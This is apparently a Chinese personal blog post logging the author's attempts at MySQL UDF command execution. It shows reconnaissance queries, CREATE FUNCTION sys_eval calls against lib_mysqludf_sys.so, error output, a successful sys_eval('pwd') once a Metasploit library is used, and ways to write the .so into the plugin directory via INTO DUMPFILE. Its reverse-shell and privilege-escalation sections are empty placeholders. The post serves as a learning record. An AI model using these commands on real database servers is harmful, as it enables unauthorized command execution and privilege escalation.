UDF是什么

参考:https://www.cnblogs.com/litlife/p/9030673.html

UDF = 'user defined function',即用户自定义函数。 通过添加新函数,对MySQL的功能进行扩充,就类似使用本地函数如abs() 或 concat() 一样。

UDF在mysql5.1以后的版本中,存在于‘mysql/lib/plugin’目录下,文件后缀为.dll.so;

命令执行

参考:https://blog.csdn.net/x728999452/article/details/52413974
参考:https://blog.csdn.net/jssg_tzw/article/details/73235232
参考:https://www.cnblogs.com/xishaonian/p/6016486.html
参考:https://www.cnblogs.com/yunsicai/p/4080864.html

我跟着步骤执行失败了,调试了很久,暂时先放弃了。记录一下失败的过程,后期解决。
1.信息收集
show variables like '%version_%';

show variables like "%plugin%";

select @@version;

2.将mysql里面自带的lib_mysqludf_sys.so拷贝到MySQL服务器的./plugin路径

因为没有对/usr/lib/mysql的读写权限,这里暂时找到别的方法绕过,现在手动上传,体验一下UDF而已。

这里也需要注意:利用UDF,有个前提条件就是对/usr/lib/mysql要有读写权限。

3.执行命令

create function sys_eval returns string soname 'lib_mysqludf_sys.so';

报错:

sql> create function sys_eval returns string soname 'lib_mysqludf_sys.so'
[2019-08-29 11:46:08] [HY000][1126] Can't open shared library 'lib_mysqludf_sys.so' (errno: 11 /usr/local/mysql/lib/plugin/lib_mysqludf_sys.so: invalid ELF header)
[2019-08-29 11:46:08] [HY000][1126] Can't open shared library 'lib_mysqludf_sys.so' (errno: 11 /usr/local/mysql/lib/plugin/lib_mysqludf_sys.so: invalid ELF header)

在尝试别的命令看看:

# 参考
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';

# 我先执行一个
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';

报错:

[2019-08-29 11:49:27] [HY000][1126] Can't open shared library 'lib_mysqludf_sys.so' (errno: 11 /usr/local/mysql/lib/plugin/lib_mysqludf_sys.so: invalid ELF header)
sql> CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so'
[2019-08-29 11:49:27] [HY000][1126] Can't open shared library 'lib_mysqludf_sys.so' (errno: 11 /usr/local/mysql/lib/plugin/lib_mysqludf_sys.so: invalid ELF header)
[2019-08-29 11:49:27] [HY000][1126] Can't open shared library 'lib_mysqludf_sys.so' (errno: 11 /usr/local/mysql/lib/plugin/lib_mysqludf_sys.so: invalid ELF header)

很难过,没有执行成功。心有不甘的吃饭去了。

后面想应该还是自己步骤不对,就找了一份正确的步骤,看看别人是怎么操作,通过和别人的对比,知道是我的.so有问题。(mysql里面的.so 应该是加密过了,导致不起作用)

https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql
在这里重新下载了新的.so ,并放到 ./plugin路径下之后。

执行命令:

create function sys_eval returns string soname 'lib_mysqludf_sys_64.so';

select sys_eval('pwd');

执行成功 !激动。

后续总结一下上传问题:
如果你有对改路径读写权限,有几种方式写入:

  • 直接写二进制文本(或者加密后的文本)
  • 通过网络路径写入 load_file(///192.168.0.1/udf.so)

文本写入 Example:

select "7f45 4c46 0201 0100 0000 0000 0000 0000
0300 3e00 0100 0000 d00c 0000 0000 0000
# 太长了,省略N行...
0000 0000 0000 0000 0100 0000 0000 0000
0000 0000 0000 0000 " into dumpfile '/usr/local/mysql/lib/plugin/udf_test.so';


写入成功。

远程写入

select "///10.0.27.35/learnphp/udf/lib_mysqludf_sys_64.so" into dumpfile '/usr/local/mysql/lib/plugin/udf_test1.so';

反弹Shell

to-do.

提权

获得管理员权限

to-do.

文章还没有更新完,请关注https://www.cnblogs.com/mysticbinary博客,方便获得最新更新。

posted on 2021-02-14 23:42  Mysticbinary  阅读(558)  评论(0编辑  收藏  举报